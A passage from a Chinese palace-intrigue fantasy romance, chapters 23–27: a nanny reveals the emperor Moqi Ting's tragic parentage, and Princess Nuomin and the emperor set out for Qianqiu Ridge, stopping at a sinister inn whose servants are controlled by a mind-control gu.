诺敏将纸笺递给乌云娜:“回信给暗一,告诉他本宫相信朝鲁。”
若说这北朔只有一个她能交付后背的朋友,那人必是朝鲁,一个宁愿自己死也要保护她的朋友,她不相信会是个利欲熏心之人。
她交代道:“让他继续查,既然那人露了头,那离抓住他的尾巴也不远了。”
“本宫决定三日后出发千丘岭,暗二和乾字卫留下保护苏日娜,你从机关堂和药香阁中各选出五名精英跟本宫走。”
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清风苑内,屏风映着烛火,屋内静得能听见铜漏滴水声。
万俟庭坐在上首,手中摩挲着诺敏退还回来的龙纹玉佩,他终有一天要亲手给她戴上这白玉。
这时屋外,苍玄绕了大半个无尘谷,才在药房找到的常嬷嬷正候在门外。
“进。”一声清朗的男声传来,苍玄推开门将常嬷嬷领进去,就退出去了。
万俟庭垂眸看着跪在堂下,发髻梳的整整齐齐,却依旧掩不住鬓边霜色的常嬷嬷,温声开口:“抬起头来。”
常嬷嬷身躯微微一颤,抬起脸的瞬间,眼角细密的纹路里蓄着的水光,倏地滴落在衣襟,洇出深色的痕迹。
“......陛下。”沙哑的嗓音,吐出的每个字都带着颤:“老奴......终于等到您了。”
万俟庭起身,停在她面前,伸手想将她
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扶起:“常嬷嬷。”
常嬷嬷轻轻推开他的手,俯身叩首,额头贴着冰冷的地面:“老奴罪该万死......当年未能护小姐周全,这些年又未能在陛下身边......”
万俟庭再次搀扶:“嬷嬷先起来。”
常嬷嬷只是抬起满是泪痕的脸,烛火在她的眸中跳跃,映出眼前年轻帝王的轮廓,她双唇阖动,像是在确认:“陛下的眉眼......真像小姐。”
万俟庭手上加了力,稳稳托住她的肘弯,将她扶到座椅上。
他回到上首落座,万俟庭的声音在寂静的夜里显得幽远:“当年之事......嬷嬷知道多少,便说多少。”
话音刚落,门外就传来了苍玄的禀报声:“陛下,北朔大公主来了。”
万俟庭看了一眼常嬷嬷,随即道:“让她进来。”
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诺敏进来还未开口,就看到了正擦着眼泪的常嬷嬷,来的还真巧。
“既然陛下有事,本宫明日再来。”说完转身就走,却被万俟庭唤住了:“公主既然来了,便到里间坐下等等。”
诺敏只能留下,她踱步到榻边坐下,随手翻看起榻上小几摆着的棋谱,只是此处与外间仅隔了一扇屏风,她不想听的秘辛,终究还是传入了她的耳朵。
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常嬷嬷只听说轩辕新帝阴鸷狠辣,对他不甚了解,但刚才他看诺敏的眼神还是落入了她的眸中,那是喜欢和占有,所以此刻才会愿意让那位公主听到他的秘密,只是不知那位公主对他是否一样,若不一样,那该掀起多大的风浪,只希望小姐和王爷在天之灵能庇佑他们的儿子,能得偿所愿。
万俟庭从屏风处回神:“嬷嬷但说无妨,公主不是外人。”
常嬷嬷稳了稳心神,思绪回到二十四年前。
小姐是原刑部尚书阮朝林唯一的孙女阮念安,容貌不说如冠绝天下,也是国色天香。她刚及笄那年,前来求亲的人已经踏破了门槛。
“......而能让小姐高看一眼的,也就是您的父亲庭川王万俟封,他与小姐是青梅竹马,小姐及笄后,他向阮尚书承诺此生只娶小姐一人,于是二人便成了亲。那时先帝还未登基,众人都以为您的父亲会继承大统。”
毕竟庭川王是老皇帝最疼爱的儿子,只是天有不测风云。
“那是小姐跟王爷成婚的第三年,那年年节宫宴,王爷因剿匪重伤昏迷从而缺席,人人都说庭川王活不过今晚,但小姐不想让王爷被人如此议论,便去了宫宴......”
说到此处,常嬷嬷已经泪流不止,缓了片刻哽咽道:“小姐不胜酒力,去偏殿休息,然先帝醉酒......对小姐见色起意,强迫了小姐,那时小姐的肚子里已经有了您......”
诺敏透过屏风,看着那坐在上首模糊的人影,想起那日在七宝楼上,他说这出折子戏出自他手时,那阴鸷的模样,心中忽而一阵酸涩难当,他本可有相爱的父母,做他无忧无虑的小王爷,一切都被那个畜生毁了,怎能不恨呢。
24. 往事2
“那时,阮尚书已经致仕,退居山野,而阮家这一脉也仅剩小姐一人,小姐看着重伤昏迷的王爷,只能将这件事埋进肚子里。”常嬷嬷抹了抹眼泪。
可有些事情不是阮念安想揭过去就能揭过去的。
“王爷昏迷迟迟未醒的同时,老皇帝病重而亡,然后先帝登基,他不知从何处得知小姐怀孕了......就以为您是他的孩子,将小姐囚禁在王府......”
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诺敏从里间踱步至万俟庭身旁,将他往左侧推了推,自顾自地坐在了他右侧。
他像个木头般任她施为,诺敏余光扫过他紧握微颤的双手,从袖中取出锦帕,掰开他的手,擦了擦他的掌心,再从怀中取出一颗自制的果糖放入其中:“我自己做的,尝尝。”
这应该是她第一次在他面前自称“我”,万俟庭眸光低垂,看着掌中那颗黄色的果糖,与之交叉的是自己刚刚用力捏出的红痕,他将果糖放入口中,他一向是不喜甜的。
可那口中满腔的橙香味令他眸光微颤,他喜欢橙子这一个隐晦的嗜好,她怎么知晓的,还是说误打误撞?他心中如滚水翻腾。
诺敏歪头询问:“甜么?”
万俟庭缓缓抬眼,就对上了她唇边的两个小梨涡,沉闷的嗓音从喉中溢出:“......甜。”
诺敏将那装满果糖的小瓷瓶放到他掌中:“都给你了,这可是我花了好长时间才制成的,你喜欢的橙子味里面还有很多。”
话音落地,让他心脏顿了一瞬,眸中交织着惊愕与无措,唇瓣微起又阖上,心跳瞬间失衡。
“你在......”哄我。
诺敏点了点头:“我在哄你。”
为何?明明不愿做他的皇后。
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常嬷嬷看着二人之间的互动,原来那位公主也并不是无动于衷,那眉眼间的柔和还是没逃过她的眼睛。小姐若是知道她的儿子有了情投意合的心上人,应当会欣慰吧。
诺敏抬眸看向常嬷嬷:“嬷嬷继续说吧。”
常嬷嬷将眼角的泪水擦干:“王爷伤势过重,终是没有挺过去,在您出生前一个月过世了。”
“小姐伤心过度,日渐消瘦,在生产那日......大出血而亡。”
想到此处,常嬷嬷的眼泪又决了堤:“许是自王爷去世后,小姐她就没曾想过独活,临终前将早已写好的信交给了老奴。”
常嬷嬷从怀中取出一封早已泛黄,却无一丝褶皱的信笺,递给万俟庭。
屋内檀香袅袅,屋外的雨声淅沥。
诺敏的眸光停在那“尔父匪患之祸,恐为今上所设”的字句上久久不移,这轩辕先帝还真是人事儿一点不干。
她忽听耳边一声轻笑,那笑声听着颇为渗人,万俟庭捏着信笺的指节收紧:“还是让他活得久了。”
诺敏看着他微红的眼眶,提议道:“不若将他挖出来鞭尸。”她从来不是什么心慈手软之辈,若与他易地而处,指不定比他更疯狂。
她侧头想了想又道:“还是我替他做一个阴煞阵,让他死了也永堕阎罗。”
诺敏见他只盯着自己不吭声:“不够?那就......”话还没说完,就被他强硬的抱进怀里。
万俟庭声音沙哑:“......让我抱会儿。”
这次诺敏没有挣开他的手,反而轻柔的抚了抚他的背,两人都没说话,常嬷嬷看着二人的互动,心中感慨万分,这下确定了,小主子不是剃头挑子一头热。
良久,万俟庭才放开她,云淡风轻道:“他早就被我丢进乱葬岗了。”
诺敏微微怔愣了一瞬,她确实没想到他会如此大胆,毕竟帝王哪怕再恨一个人,表面的功夫还是要做足的,属实没想到他会如此无所顾忌。
看着她眼中的惊讶,万俟庭轻敲了敲她的额头:“怎么,觉得朕不该如此?”
“朕”字都出口了,诺敏摇了摇头:“只是没想到你比我还......”狂妄。
万俟庭看向默不作声的常嬷嬷:“嬷嬷可愿随朕回轩辕?”
常嬷嬷嘴角含笑:“那老贼已死,小姐的嘱托,老奴也已经完成了,就不回去触景生情了。”
她深深看了诺敏一眼,又望向万俟庭,随后俯身跪地:“老奴惟愿陛下如小姐所愿的那般,万事顺遂。”
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待房门关上,诺敏才察觉二人之间的距离属实近了些。
她正想站起身走开,就被他按住了肩膀:“敏敏深夜前来,所谓何事?”
深夜?哪里就深夜了,不过刚刚入夜而已,诺敏轻咳一声:“不过是来给陛下送些防身的药丸。”
万俟庭接过她递来的三个药瓶,打开其中一瓶的瓶塞轻嗅:“这是什么药?只舍得给我一枚。”
诺敏瞬时想拿回药瓶,总共就制成了五枚,遂没好气道:“还魂丸。”
万俟庭唇边的笑意微敛,她竟舍得将这万金难求的救命药给他。
诺敏站起身理了理衣裙:“药既已送到,本宫就回了。”
她脚还没抬,就被万俟庭拉住了手,他嗓音迟疑:“......在朕小时,他们总说朕是野种,哪怕是朕的养母,在朕登基时,更是极尽刻薄之言。”
良久,才又开口:“......你呢?是否也觉得我......”是野种,是名不正言不顺。
诺敏垂眸看着他的头顶,那个不将任何人放在眼中的君王,此刻竟不敢与她对视。
在她面前从来以“我”自称的人,为了维护自己的尊严,改了称呼,诺敏温声开口:“没有。”
“陛下本就是万俟氏的血脉,即使不是,那又如何。”
“不过是拨乱反正。”
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雨泼如倾,青石板路溅起白茫茫的水花。
即使打着伞,诺敏的肩头还是被雨水浸透,她立在亭月斋门外,里头传来苏日娜清脆的嗓音:“哈哈,我终于赢了先生一次。”
男子的声音隔着雨幕传来,温润里透着几分亲近:“公主很聪慧。”
诺敏挑开门帘进去时,苏日娜正收拾着棋子,坐在她对面的青衫唇角含笑看着她。
苏日娜抬眼望向她,颊边还留着方才赢棋时兴奋的红晕:“姐姐!”
青
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衫起身长揖:“见过大公主。”
诺敏将擦拭过的锦帕递给娜兰:“先生好雅兴。”
又接过娜仁递来的茶盏润口:“这般大雨,还来教棋。”
青衫嗓音柔和,似是听不出她话中的含义:“四公主聪慧,一点即通。”
诺敏看了苏日娜一眼,她立马让开座位:“先生不若跟本宫手谈一局。”
话落,诺敏捻起白子,漫不经心的落在天元,青衫执着黑子跟上。
她望着棋盘上纵横的纹路,那纹路仿佛变成了等着噬人的网。
片刻后,白子落下,断了黑子最后一条生路。
青衫面上依旧是那副温润笑意:“大公主棋风凛冽,某输得不冤。”
诺敏慢条斯理收着白子,腕间佛珠随着她的动作敲击着棋盘,一声声传入人耳:“棋道该紧时紧,该松时松。也当知何处该止步,何子......不该碰。”
雨声忽的急促起来,砸得瓦片铮铮作响。
诺敏收起最后一枚白子丢回罐中:“若不小心落错了子,怕是要满盘皆输。”
窗外划过一道闪电,雷声接踵而至,青衫眸中无波无澜,站起身告辞:“今日某受教了。不过,总要试试才知道结果。”
他倒退着出了房门,月白身影没入雨中,竟有了几分落荒而逃的意味。
不管他心中有何算计,都不该将苏日娜牵扯进来,若还不罢手,那就只能请他去死了。
苏日娜要追出去送伞,被诺敏拦住了,她握着苏日娜微凉的手:“你这脑子,还是看话本子吧。”
苏日娜低声嘀咕:“......我脑子挺好的,先生都说我聪慧了。”
诺敏微微瞪了她一眼:“场面话都分不清。”
又道:“不日,我要出谷一趟,你给我安生的待在这儿,有事就寻暗二。不准跟那书生太过亲近,你要是想学棋,我可替你请个夫子。”
苏日娜忙摆手:“别别别,不学了还不行吗。”
诺敏看着她清澈的眉眼:“看人不能只看表面,这世上多的是面上柔和,手中拿刀的人。阿姐不求你会分辨,但你要听阿姐的话。”
苏日娜用手抹平她微皱的眉间,点了点头:“我知道了,姐姐不在,我不见他就是,你别担心,要注意安全。”
诺敏从怀中取出还魂丸递给她:“收好,若遇生死危机,服下便可无虞。”
交待完苏日娜,诺敏又去了江致的住处。
“不行!我也要跟姐姐一起去,姐姐若是不让,我便不将驱瘴丸给你。”江致抓着诺敏的袖子不放。
诺敏看着他无赖的模样,轻叹了口气,这驱瘴丸非是她不会制作,而是制作的过程太过繁杂,所用的时间太长。
无尘谷每到冬季,便是瘴毒时期,所以常年备着驱瘴丸。
“此次出行非是游玩,我没有足够的把握能护住你,所以,不行。”诺敏将他的手掰开,面上不容置疑。
“你既然不给,那我就去寻江叔叔了。”诺敏话落就要往外走。
江致赶忙出声,嗓音中满是不情愿:“给给给还不行吗。”
25. 出发
诺敏望着江致边装驱瘴丸边出神的模样,用力弹了一下他脑门,疼得他从椅子上蹦起,揉着额头呼痛出声:“姐姐,你怎么能对我下死手呢。”
诺敏斜睨了他一眼:“江成安不是凶手。”但跟他脱不了关系。
后面这句话还是没说出口,以江致这风风火火的性子,还是跟苏日娜一样,自由自在的活着吧。
她不知道江成安背后的人想要他做什么,但她知道江成安对江致和江淮渊的心是真的,总归性命应当是无虞的。
江致轻声开口:“果然,什么都逃不过姐姐的眼睛。”
他忽而想到什么,再次开口:“姐姐,我之前派人暗中盯着那个青衫,暗卫说那人除了教苏日娜的那几日出了院门,其余时间都在院内。”
遂又好奇道:“姐姐不信任他,为何不将他打发走?何必留个隐患在身边。”
诺敏打趣道:“小致也会动脑子了。”
又道:“他算是救过苏日娜的命,又因此失了忆,暂时只能让他跟着,至多再过两个月,他就能恢复记忆了。”
到时候,他是人是鬼,就能看出来了。
江致满是怀疑:“真失忆了?”
诺敏点了点头:“探查过好几次,无疑。”
江致这才放下了疑虑,以姐姐的医术,那人绝无造假的可能。
诺敏拍了拍江致的肩,语重心长道:“我不在的这期间,就有劳我们江少侠继续盯着了。”
不给他找点儿事儿干,怕是她前脚走,他后脚就跟着她溜了。
江致昂了昂头,又摆了摆手:“姐姐不用跟我客气,我定会替你好好看着他。”
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这边诺敏哄骗着江致,那边江淮渊也是一个头两个大,就在刚刚他的庶女江知微,竟然上赶着想做那轩辕帝的妃嫔,不管这地位多荣耀,总归都是妾。
当年他纳苏姨娘为妾,也是出于无可奈何。
苏姨娘是他原配的族妹,二人自小姐妹情深,见江致年幼失母,为让姐姐安心,自己甘愿为妾。
江淮渊看着坐在他脚边耍赖的女儿,和身侧的苏姨娘相视一眼,苏姨娘撇过头揉了揉额头,真想将她女儿的脑子掰开看看,里面装的都是些什么废料。
苏姨娘本来想着跟江淮渊私下通个气,就说那轩辕帝不愿收她,谁知第二天一早,这小冤家就来知雨斋堵门了,一直闹到现在。
江知微见上首二人都不吭声,上前抱住江淮渊的小腿:“我不管我不管,我就喜欢他!爹爹一定有办法!”
见他们还是不吱声,她眸光一转:“爹爹若是不帮我,我......我就去‘霸王硬上弓’。”
话音刚落,肩膀就被苏姨娘狠狠拍了一巴掌:“你......你这个逆女!你去,你去,我等着替你收尸!”
江淮渊抬手替苏姨娘顺了顺气,又看向江知微:“你执意要去做妾,是我失职没教好你,日后也无言面对我江氏的列祖列宗,那就只能将你逐出江氏族谱,日后,你想如何都随你。”
以往江知微要什么,她爹都会尽全力满足,属实没料到这次她爹的态度如此强硬,一时哑声,怔怔地看着她爹。
“想好了?”江淮渊面容严肃,觑了她一眼,他这女儿终是被他宠坏了,只能下剂猛药,让她醒醒神。
江知微这才回过神,赶忙摇头:“不......不嫁了。”
苏姨娘暗暗松了口气,待他们都出了门,才拉着常嬷嬷欣慰道:“若不是嬷嬷昨夜告诉我,那轩辕帝钟意北朔公主,我最后可能真会受不住知微的哀求,让她去试试。”
“只是真没想到嬷嬷竟与轩辕陛下,有这样一层关系。”
昨夜,常嬷嬷回到知雨斋,除去秘辛,就将她是轩辕帝生母丫鬟的这件事,告诉了苏姨娘。
好在苏姨娘也没多问,只担心她是否要回轩辕,得到留下的答案,开心地多吃了半碗饭。
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夜色如墨,秋枫苑内只余一盏灯火,映得江成安的侧脸半明半灭。
黑衣人深沉的嗓音从暗处传来:“主子传授给公子的惑心蛊,已然大成,只要趁江氏族人在睡梦中时,放入其耳道,第二日他们便会如同傀儡般,任你驱使,不知公子还在犹豫什么?”
他眸中含着凉意:“难不成......公子不忍心了?”
又接着道:“成安公子莫不是忘了曾经起过的誓,若这西蛮都拿不下,又何谈助主子复仇!”
江成安手中的茶盏轻轻一转,用力地搁在案上,叩出轻响:“你不必提醒,我从未忘记要复仇。”
停顿一瞬才道:“只是江氏族人终究无辜,我不会为了复仇将他们牵扯进这因果。江淮渊已在祭祀台上宣布我为下任江氏族长,所以西蛮早晚都是我的,我又何必铤而走险。”
况且他早就将江淮渊他们当成了自己的亲人,他会助主子复仇,但同时也会保护好他们。
黑衣人闻言轻嗤一声:“属下总归是管不了您的,只是属下提醒您,若主子归来时,您还未拿下西蛮,您该知道主子的手段。”
话落,身影已经消失在原地,只留下屋内一片压抑。
江成安从书架后的暗格中取出一枚虫纹玉佩,是祭祀天神那日,江致交给他的少族长令。
初相逢时,他对江淮渊的救命之恩,不过是他和主子做的一场戏,可演着演着,自己也当了真。
江淮渊给了他未曾得到过的父爱,二十几年的人生,第一次有人关心他是否穿暖,是否用膳。
他没有朋友,唯一的兄弟也只听主子的吩咐,对他谈不上兄弟之情,江致的出现,就似给他不见天日的牢笼开了扇窗,总是在他耳边“大哥大哥”的念个没完。
他第一次觉得自己是个正常的人,周边没有阴谋,没有算计。
他绝不会容许他人破坏这一切,哪怕是主子,也不行。
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转眼就到了出发千丘岭的日子。
这日一早,诺敏刚推开门,就见江致和苏日娜候在她房门前,二人你推我,我挤你的,好不消停。
江致拿着一食袋的牛肉干伸到诺敏面前:“姐姐,我亲自去那家你最爱的良记肉铺店买的,是你最爱的五香味,你收好留着路上吃。”
“为了能买到,我可是早起了一个时辰。你看看我这眼下的乌青。”说完就指着眼下,朝诺敏昂了昂头。
苏日娜见状,想
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用力挤开江致,奈何他这健壮的身躯,终是一动不动,她忽而将手伸向他的腰侧,用力地一拧,疼的江致呜哇乱叫。
江致一手捂着腰间软肉,一手指着她,气愤道:“你......你竟敢使诈!真是唯苏日娜与小人难养也!”
苏日娜朝他白了一眼,又从怀中掏出一枚红符递给诺敏:“姐姐看我的,这是我去年在祭司台跪了三日才求来的平安福,我每次逃课时都带着它,汗父从没抓到过我的小辫子,送给你,愿你此路顺遂,平安归来。”
诺敏一手接过他们的心意,温声开口:“这些我就都收下了,多谢你们,我不在的时候,不可打架。”
苏日娜握着她的手不放,方才还活泼的人,此刻眼中已满含泪水:“阿姐,我听说那千丘岭万分凶险,你一定要当心,要记得我还在这里等着你。”
江致赞同地点了点头,面上也尽是担忧之色:“姐姐若是寻不到那药草,就回来。横竖是那人的命不好,怨不得你,万万不可以命相搏。”
诺敏无奈道:“知道了两位祖宗,你们若再拦着我,那位陛下该说我北朔无礼了。”
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待诺敏走出无尘谷时,已是半个时辰之后,她先将暗二叫来吩咐了几句,又去跟江淮渊告了别,这才出了门。
万俟庭坐在马车中随手翻看着一本词谱,对面坐着一个胡须满面的青衣男子,正替他煮着茶水,口中愤愤不平道:“陛下,这北朔公主也太不将我轩辕放在眼里,让您去做药人就算了,毕竟是有交易,竟还让您在此等了许久。”
万俟庭轻抿了一口茶水,润过喉咙才道:“陆祁安,你这莽撞的性子什么时候能改改。”
陆祁安拎起茶壶,重新给他添满,小声嘀咕:“臣这不是替陛下着急么。”
他偷偷瞄了万俟庭一眼,这等了一个时辰还不甩袖就走的,还是他家那个阴鸷狠辣的君王吗。
这北朔公主当真是不简单。
既能让陛下在苍狼部让步,还能指挥陛下干活,虽然陛下跟他说,与那公主达成了交易,但没说是什么交易,现在看来,肯定是陛下吃亏的买卖。
他倒要看看这北朔的公主到底是何模样,能让陛下这般反常。
就在这时,马车帘外传来一声一声的铃铛声。
万俟庭随即合上手中的书,抬眸瞥了陆祁安一眼:“下去。”
陆祁安刚下马车,就遇上了朝他这个方向走来的红衣女子,饶是见过无数美人的他,也一时愣在原地。
一袭红衣猎猎如焚天的火,发上的丝带和铃铛在风中摇曳,再配上这人间至艳的容貌,怪不得陛下变成了那个样子。
诺敏看着眼前呆愣的男子,正欲询问,就被他一声轻咳打断:“在下安祁,是陛下的......暗卫。”
他侧开一步:“陛下已在马车上恭候多时,公主请。”
诺敏掀开车帘进去,就看见正焚着香的万俟庭,打趣道:“陛下还真是风雅之人。”
只是这味道......
是他先前问她讨要的那瓶熏香。
万俟庭听着这疏远的称谓,她又变回了那个守礼的北朔大公主,那夜给他的温柔竟似黄粱一梦。
26. 诡异的客栈
车厢内,香气幽幽浮动。
诺敏掀开车帘往外瞧了一眼,打趣道:“陛下就带了这数十人随行,未免对本宫太过放心了些。”
也不怕她使坏。
万俟庭斜倚着软枕,漫不经心地看了她一眼,嗓音含笑:“敏敏若是想要我的命,只管来取便是。”
坐在车辕上的陆祁安闻言,惊得汗毛直竖,这铁树开花的杀伤力真的太强了。
诺敏从包袱中取出一件冰丝软甲递给万俟庭:“以防万一,陛下还是穿上吧。”
万俟庭接过打量了一眼,眸中的调侃之色瞬间收起:“传闻此甲刀枪不入,水火不侵,连我轩辕都难寻一件,敏敏就这么给了我?”
诺敏闻言只微微点了点头:“陛下终究是为了本宫奔波,本宫理应保你平安,且这不过死物罢了,若能发挥它的价值,也不算本宫当初忙活一场。”
想当初,那鬼医墨渡身陷囹圄,以两副软甲求她救命,她早就认出了那人是江淮渊的侄子,本就准备施以援手,不过,送上门的东西岂有不收之理,如今,倒是派上了用场。
万俟庭嗓音低垂:“......给我了,那你呢?”
诺敏闻言掀开长袖给他看:“当然不止一件,本宫可不是会亏待自己的人。”
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铁蹄踏碎斜阳,车帘卷起时,暮色正从山脊线上流淌下来,此处是距离千丘岭最近的一座客栈。
一盏灯笼在风中摇晃,诺敏抬眸望去,牌匾上“酣梦楼”三个字已被风蚀得模糊。
他们一路走来,除了路过的老猎户,便再不见人烟,千丘岭早就变成了人人畏惧之地,而此处距离千丘岭仅几里,却建了一座客栈,怎么看都觉得奇怪。
万俟庭抬眼示意,陆祁安按住了腰间的剑,轻声叩门:“有人么?”
无人应答。
推门时,门轴发出一声悠长的“吱呀”,堂内意外地整洁,六张方桌被擦得格外锃亮,地面青砖缝里不见一丝尘垢。
只是太静了,静得能听见穿堂风刮过衣裳的簌簌声。
“有客人来了。”忽而从柜台后探出一张脸,是个须发皆白的老掌柜,面上的笑容像是用尺子量过的。
他手中正拎着一个酒瓶,边饮边喊:“小川,小川,来客人了!”
片刻后,一个年轻的跑堂从角落的阴影中,不疾不徐地走出来,手中还拿着扫帚正在扫地,那节奏均匀得不像活人。
诺敏瞧着他那模样也就十五六岁,眉眼低垂,手中从左到右,不多不少,正好三下就停住,继续下一块地方。
老掌柜又喊了一声:“小川别扫了,来客人了。”
那个叫小川的少年才停止了动作,朝他们望来了一眼,那眼神空洞如深井,语气生硬:“打尖还是住店。”
诺敏听着这声音,怎么有点耳熟,只是脑海中翻来覆去,确实没见过这张脸,难道是她想多了。
她看着那少年的一板一眼的模样,若有所思。
旋即她伸手拉了拉万俟庭的耳后的长发,待他低头才凑近,温热的气息划过他的耳蜗:“若我没猜错,那小二应当是被蛊控制了。”
又补充道:“今夜还是都别睡了。”
万俟庭垂眸看着自己那被绕在她指尖的长发,唇角微勾,又凑近了几分:“都听你的。
诺敏瞥见他那戏谑的模样,气不打一处而来,都什么时候了,还在发癫,指尖遂用力一拽,疼得万俟庭眼眶泛红才罢休。
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陆祁安从怀中抛出一锭银子:“两间上房。”
银子落在柜台上,老掌柜的笑容深了些许,眼角的皱纹堆叠起来,拿出两串钥匙递给他:“小川,带他们去天字一号和二号。”
二楼廊道里点着灯,诺敏驻足在墙上一幅山水画前,左上角标注名为《隐士图》,凝眸细看才发现,那重峦叠嶂后有一长袍人隐在其中,望着图上那标注着三国的方向入神。
万俟庭站在诺敏身后,弯腰凑近她耳侧:“是不是很有意思。”
在这荒无人烟的偏僻之处有座客栈,就够稀奇了,这客栈之中竟然明目张胆地挂着一幅有这造反意图的画。
诺敏眉梢微扬,点了点头认可道:“是挺有趣的。”
二人相视一眼不在多言。
小川领他们去了房间,那房间内也是洁净得过分,榻上的被褥松软,还带着阳光晒过的气味,就似时常有客人来访般。
这客栈还真是处处都透着诡异。
小川正要退出去,只是还没转身,就被乌云娜点住了穴道。
诺敏上前诊过他的脉,朝万俟庭道:“惑心蛊。中蛊者,迷失心智,任下蛊人驱使。”
她又绕着小川转了一圈,手正要伸向他耳后,想摸摸他是否易了容,就被万俟庭握住了手腕,诺敏疑惑道:“干嘛?”
陆祁安瞄了一眼他家陛下那不爽的神色,赶忙上前:“怎么能劳动公主殿下动手,属下来,属下来。”
说完他就伸手摸了一通,然后摇了摇头:“没有易容之物。”
诺敏的感觉从未出错,见状,从怀中掏出一瓶药水递给陆祁安,吩咐道:“去打盆水来,将这药水倒入其中搅匀,再给他净面。”
片刻后,诺敏看着眼前这张熟悉的脸,着实有点吃惊,这长相除了那鬼医墨渡,还能是谁。
只是以他的医术,怎么会被惑心蛊控制?看来真相也只有等他清醒之后再询问了。
万俟庭看着诺敏呆愣的模样,肯定道:“你认识他。”
诺敏没否认:“鬼医墨渡,也是江叔叔的侄子,你身上的冰丝软甲就是他的。”
她瞧着眼前人这不似以往风流的模样,轻笑一声:“要不是他自己中蛊之前易了容,恐怕此刻命早就丢了。”
毕竟世人皆知,鬼医墨渡风流倜傥,虽才十六岁,情债却欠了一大堆。
万俟庭冷眼斜睨了墨渡一眼,他们两人的关系已经好到可以赠送两副冰丝软甲的程度了,她到底还有多少个这样的“好朋友”!
诺敏正欲跟他商量一下晚上守夜的安排,就见他已经推门而去,那关门声震天响,诺敏一脸莫名的看着乌云娜:“男人也有小日子?”
明明刚刚还好的,怎
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么转眼就变了脸,果然,帝王家的男人都心思莫测。
乌云娜望着自家公主无语的神情,掩唇轻咳一声:“可能。”
没想到这传闻中杀伐果决的轩辕帝,还爱吃醋,不过,他吃的过来么?喜欢她家殿下的人,可是一抓一大把呢。
她缓了片刻又问道:“公主,可要将墨医师留下?”
诺敏微摇了摇头:“将解药给他喂下就行。这中了惑心蛊的人,就算此刻服下解药,神志也不会瞬间清明,至少得等上一天。”
而今夜,那暗处之人就会动手,墨渡这呆愣的模样恰巧可以蒙蔽那些人的双眼,保他一命。
待诺敏将他的面容恢复原样,他们二人退出去后,诺敏推开窗,荒野的风灌进来,带着腐草和湿土的气息,远处狼嚎声不断,今夜终究是个不眠之夜。
就在这时,房门外传来叩击声,陆祁安轻声开口:“公主殿下,我家陛下邀您一起用膳。”
诺敏将窗户掩上,才打开门走出去,待她进入万俟庭房内,在桌边坐下时,他才从案前抬眼,面色已经恢复如常:“今夜,安祁守夜,你可以睡会儿。”
诺敏盯着他瞧了片刻,还是想不通,问道:“你刚刚为何生气?”
站在一旁的陆祁安闻言,被这公主的豪胆惊得双眸圆睁,恨不得此刻遁走,这公主怎么比他还虎,这是能问的么?哪个君王不厌恶他人随意猜测自己的心思,何况是这么理所当然的询问。
她有权有势就可以不顾他的死活了么?
此时,陆祁安的脑中发出爆鸣,完了!陛下指定要灭他口了。
万俟庭被她盯得坐立难安,见陆祁安还站在一旁,呵斥道:“你还不去传膳?要站桩,就给朕滚出去站!”
陆祁安二话不说,拔身就跑,快得仿佛身后有恶鬼在追。
待房内只剩他们二人,万俟庭才答道:“......不曾生气。”
诺敏不信:“那你为何摔门?”
万俟庭抬手指向房门外:“是安祁摔的。我代他向你赔罪。”
诺敏没说信不信,只斜睨着他不语。
万俟庭不敢与她对视,略带慌乱地从案上抽取一本书浏览,只怪自己当时没收住脾气,他发现只要碰上诺敏的事,他以往的冷静自持就全都不见了。
诺敏望着他这假模假样,这不是心虚又是什么,她嗓音带着慵懒:“万俟庭。”
声音不高却惊得他手腕一颤,书卷又举高了三分,几乎要贴近鼻尖,声音从书后传来:“......怎么了?”
“你书-”诺敏故意拖长了调子,她眸中含笑,声音不怀好意:“拿反了。”
万俟庭瞬时将书按回桌案,指尖却碰倒了笔架,一阵噼里啪啦。
再抬眼时,正撞上她戏谑的眉眼,那眸底除了烛火还有他无处遁形的窘迫。
他耳根如火烧云般红了整片,他想张口,舌尖却似被蜜蜡封住,竟凑不起半句整话。
恰巧此时,陆祁安指挥着暗卫将饭菜端进房内,万俟庭赶忙转移话题道:“我暗影司的暗卫做的番茄炒蛋不输御厨,你尝尝。”
27. 阿暖
诺敏轻挑眉梢,不再多言,不承认就不承认吧,就当他是不定时发癫好了。
万俟庭踱步至桌前,给她碗中夹了一块浸满汤汁的炒鸡蛋,诺敏尝了一口,确实,这口感松软滑嫩,番茄被炒出了沙,两相裹挟,味道属实不错。
诺敏本不是个重视口腹之欲的人,但那盘番茄炒蛋却是被用了个精光。
窗外,月色已经浸透了院中的梧桐枝桠,万籁俱寂。
诺敏指尖无意识地轻抚过白玉茶盏边缘,浅啜了一口:“太安静了。”
连狼嚎声都没了,就似那暴风雨前的宁静。
万俟庭侧首看向窗外,确实过分安静了,又望向陆祁安问道:“安排好了?”
陆祁安点头示意:“陛下放心,都交代好了。”
就在这时,乌云娜推门而入,手中拿着两个药瓷瓶,诺敏抬首示意她将瓶交给陆祁安,随即温声开口:“这白色瓷瓶里面装的是清心丸,你将它给侍卫们喂下去,能克制绝大部分迷药,便是用量十倍,也能保持清醒。”
她又看向那青色瓷瓶:“这里面是驱瘴丸。千丘岭常年毒瘴弥漫。”
陆祁安望向万俟庭,见他点头同意,才作揖道:“在下替侍卫们谢谢公主。”
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与此同时楼下大厅,大门敞开着,风声灌满楼宇,灯笼的投影在墙上疯狂乱舞。
“丁侍卫,还请你告诉主公让他放心。”是老掌柜的声音,他双手抱拳,朝虚空作了个揖。
他对面站着一个蒙面的黑衣人,二人掩在暗处,身形看不真切。
“不过是多了些杂碎,老奴又不是没遇到过,处理起来得心应手得很,让主公只管等着好消息就是。”老掌柜的嗓音没了白日里那刻意的和气,只剩下干涩阴冷。
他又补充道:“这批货的质量一定比以往的好。我瞧了,他们个个都会武,尤其是带头的那对男女,此次一定能给主公送上一份大的助力。”
丁崇一微颔了颔首:“你心中有把握就行。主公说了,不管他们为何来此,定要让他们有来无回。”
他面色沉重,语气变得肃杀,朝老掌柜道:“老庄头,我不管你用何手段,都绝不能放他们入千丘岭!否则你我都得死!”
老庄头闻言郑重道:“你放心,主公对老奴有救命之恩,老奴就是豁出这条命不要,也定会完成主公交待的任务。”
丁崇一心中还是有些惴惴不安:“那带头二人的身手可不简单。我看他们也没下来用晚膳,警惕得很。”
老庄头拍了拍他的肩,宽慰道:“我有梦魂引,那可是江湖上赫赫有名的鬼医亲制。”
又调侃道:“听说是用来迷晕情人,逃脱纠缠的,那效果可迷晕一头牛,何况是人。”
见那丁崇一还眉头紧锁,又从袖中取出一个瓷瓶给他看,介绍道:“惑心蛊。这可是那位给主公的投名状,放心,此次定能万无一失。”
丁崇一问道:“那惑心蛊的成效当真如此有用?”
